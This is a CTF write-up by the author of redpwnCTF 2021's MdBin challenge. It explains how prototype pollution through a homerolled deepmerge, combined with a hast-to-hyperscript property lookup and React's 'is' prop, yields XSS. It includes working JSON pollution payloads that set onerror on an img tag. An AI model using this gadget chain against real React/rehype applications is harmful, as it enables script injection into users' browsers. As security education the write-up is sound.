redpwnCTF 2021 - MdBin

Published today

The React framework is generally considered very highly resistant to XSS; essentially the only way to get XSS under “normal” circumstances is via unsafe usage of the aptly-named dangerouslySetInnerHTML prop, which is used surprisingly often for rendering content such as Markdown. However, XSS via dangerouslySetInnerHTML is boring for a CTF challenge since it’s essentially attacking the sanitizer for the inner HTML you are telling React to render; React itself doesn’t play a role in it at all. An arguably safer way of rendering Markdown content into React is by turning an AST directly into React nodes, and this is exactly what I decided to explore in my CTF challenge.

MdBin was an XSS web challenge in redpwnCTF 2021 that examined the effects of prototype pollution on a React app rendering Markdown using plugins from the unified collective. In particular, because the dependency tree (and thus potential attack surface that players need to search for) is so large, I isolated the challenge to essentially just rehype-react (and its subdependencies) and React itself. All of the relevant code is called here:

const Renderer = ({ title, hast, theme }) => {
  useTitle(title)

  useTheme(deepmerge({}, defaultTheme, theme))

  return (
    <div className='container md-content'>
      {hast2reactCompiler(hast)}
    </div>
  )
}

We control title and theme, and hast is the HTML AST that got compiled from the Markdown input that we also control. Tracing the imports shows that deepmerge is a homerolled implementation, which should immediately set off alarm bells for prototype pollution. And closer examination shows that it is:

const deepmerge2 = (a, b) => {
  for (const key in b) {
    if (typeof a[key] === 'object' && typeof b[key] === 'object'
      && !(a instanceof Array) && !(b instanceof Array)
    ) {
      deepmerge2(a[key], b[key])
    } else {
      if (typeof b[key] === 'object' && !(b instanceof Array)) {
        a[key] = {}
        deepmerge2(a[key], b[key])
      } else {
        a[key] = b[key]
      }
    }
  }
}
export const deepmerge = (a, ...rest) => {
  let curr = a
  while (rest.length > 0) {
    deepmerge2(curr, rest.shift())
  }
  return curr
}

(Fun fact: the first time I tried writing the vulnerable deepmerge, I accidentally made it invulnerable to prototype pollution; the one used in the challenge was provided by ginkoid)

There’s multiple ways forward from here, and first I’ll detail the intended solution, since I believe none of the teams used this method during the CTF.

Intended solution#

From here, the first thing I tried was simply polluting a property and seeing what would happen. React allows you to programmatically create VDOM nodes via React.createElement, which uses an object for props, so you might expect some of our polluted elements to start showing up. So let’s test:

{
  "content": "content!",
  "theme": {
    "__proto__": {
      "alt": "polluted"
    }
  }
}

gives us a p tag with a text child "content!", but if we look at the DOM we see

<p polluted="polluted">content!</p>

Somehow the value became the key too! Tracing through the execution brings us to this bit of code in hast-to-hyperscript (rehype-react is essentially a thin wrapper around it to make it work with the unified ecosystem):

props[hastToReact[info.property] || info.property] = value

info.property is the normalized version of our property key, which in this case is just alt. Since hastToReact doesn’t have an alt key, hastToReact['alt'] goes to the prototype and gives polluted. Squinting at this a bit, we can see that we can leverage this to now get us arbitrary attribute control!

If we can make info.property equal something that is not the original key name of the entry containing the value we can pollute with, then we can set the key via adding an entry on the prototype with the value of info.property as the key and our desired key as the value. Since info.property is the normalized version of our key, we can simply change the capitalization a bit and get the lookup to resolve differently. For example:

{
  "content": "content!",
  "theme": {
    "__proto__": {
      "alt": "href",
      "alT": "polluted"
    }
  }
}

will give us

<p href="polluted">content!</p>

Let’s walk through what happens. First, we attempt to set alt="href", which due to the previously mentioned behavior, ends up as href="href". Next, we attempt to set alT="polluted"; alT gets normalized to alt, and thus info.property is 'alt'. The lookup on hastToReact['alt'] falls through to the prototype, which gives us a key of 'href', thus finally setting props['href'] = 'polluted'.

You might already see where I’m going with this; Markdown lets us create images, and if we can set the onerror DOM property, then we can execute arbitrary JavaScript. Let’s give that a try:

{
  "content": "![](//badurl)",
  "theme": {
    "__proto__": {
      "alt": "onerror",
      "alT": "alert(origin)"
    }
  }
}

gives

<img src="//badurl" />

Not so fast! If we take a look at the console, we will see React bailed out on setting onerror because the property was unrecognized:

Warning: Invalid event handler property `onerror`. Did you mean `onError`?

And trying onError causes React to complain that our error handler is a string and not a function:

Uncaught Error: Expected `onError` listener to be a function, instead got a value of `string` type.

(This is because React intercepts camel-cased event handlers with its own event system.) We’re going to need a way around this, and so it’s time to jump over to React DOM, the part of React responsible for rendering out the VDOM to the real DOM. Spoiler: the answer is the is prop, which was pointed out to me by ginkoid when writing the challenge. However, not everyone is just going to know about this off the top of their head, so let’s instead take a look at how we might discover is for ourselves.

We’re looking for how attributes are set, which takes us to this interesting bit of setValueForProperty in src/client/DOMPropertyOperations.js:

if (isCustomComponentTag || propertyInfo === null) {
  if (isAttributeNameSafe(name)) {
    const attributeName = name;
    if (value === null) {
      node.removeAttribute(attributeName);
    } else {
      node.setAttribute(
        attributeName,
        enableTrustedTypesIntegration ? (value: any) : '' + (value: any),
      );
    }
  }
  return;
}

Essentially, if isCustomComponentTag is true and the name is safe, the attribute is passed through to the DOM untouched by React (isAttributeNameSafe essentially just checks against a regex to make sure all the characters are legal, which onerror passes). So we need to trace back how isCustomComponentTag got set; going back up the call stack for a bit gets us to isCustomComponent:

function isCustomComponent(tagName: string, props: Object) {
  if (tagName.indexOf('-') === -1) {
    return typeof props.is === 'string';
  }
  switch (tagName) {
    // These are reserved SVG and MathML elements.
    // We don't mind this list too much because we expect it to never grow.
    // The alternative is to track the namespace in a few places which is convoluted.
    // https://w3c.github.io/webcomponents/spec/custom/#custom-elements-core-concepts
    case 'annotation-xml':
    case 'color-profile':
    case 'font-face':
    case 'font-face-src':
    case 'font-face-uri':
    case 'font-face-format':
    case 'font-face-name':
    case 'missing-glyph':
      return false;
    default:
      return true;
  }
}

img contains no -, so to get isCustomComponent to return true, we simply need a string is prop! Let’s give it a try:

{
  "content": "![](//badurl)",
  "theme": {
    "__proto__": {
      "is": "is",
      "alt": "onerror",
      "alT": "alert(origin)"
    }
  }
}

success!

Note that we needed onerror, not onError, since onError (and other event handlers) are processed earlier in React.

Now this of course begs the question, what is is? Although it’s practically impossible to search for, the React implementation gives us some clues. It turns out, the global is attribute is part of the Web Components spec, and causes React to bail on prop handling because presumably the custom component will be handling them instead. It’s a very obscure part of HTML that proves very powerful when exploiting React.

Author notes#

The inspiration for this challenge was the Markdown processing stack used on this blog (at least, at the time of writing). A quick search for “React XSS” yields articles pointing to dangerouslySetInnerHTML, javascript: URIs in hrefs, and for some reason eval as the main vectors for attack, however I thought that programmatic creation of VDOM nodes would be the much more interesting target. I’m sure nobody needs to be told twice about how dangerous prototype pollution is in JavaScript, but what happens when a generally considered safe framework meets prototype pollution? The thesis of this challenge was to explore that in something close to a “real-world” application… except the real world often has other plans for you.

I mentioned that the attack was on the unified collective ecosystem, however the challenge only has rehype-react in the vulnerable codepath, not even touching unified itself at all! The flag answers why: flag{d1d_y0u_kn0w_unified_cr4sh3s_1mm3di4t3ly_0n_p0llut10n?}

The main unified package, which is essentially responsible for plumbing data between various plugins in the unified ecosystem, has this check:

// Check if `value` is a constructor.
function newable(value, name) {
  return (
    typeof value === 'function' &&
    value.prototype &&
    // A function with keys in its prototype is probably a constructor.
    // Classes’ prototype methods are not enumerable, so we check if some value
    // exists in the prototype.
    (keys(value.prototype) || name in value.prototype)
  )
}

and then proceeds to try to call new on any plugin that it deems to be newable. The keys function only checks if there is an enumerable property somewhere on the prototype chain, ignoring whether or not it is an own property, and so using any plugin after Object.prototype gets polluted tends to lead to a very quick crash. So essentially, this particular gadget isn’t very useful in real applications, since it’s quite rare to use a single plugin only, outside of unified (and I had to do a bit of a hack to make it work for the challenge).

Another amusing coincidence is that hast-to-hyperscript actually patched the vulnerable code responsible for attempting to set properties from the prototype in the first place as part of their v10 release migrating to ES modules; however, rehype-react still depends on ^9.0.0. So, anyone who decided to read through the hast-to-hyperscript code on GitHub instead of in their devtools might have gotten mislead here. Lesson? Check the exact version that the codebase you are working on is using! (And in the npm ecosystem, you can check by looking at package-lock.json for npm and yarn.lock for yarn).

Finally, there are two more equally cool, not-quite-intended solutions to check out; one used a gadget in rehype-react and React’s defaultProps, which you can read about in CoR’s writeup, and another involved convincing hast-to-hyperscript to set dangerouslySetInnerHTML: {__html: '...'} (sorry, I don’t think any of the teams who solved this way made a writeup).

Ethan Wu

Find me @ethanwu10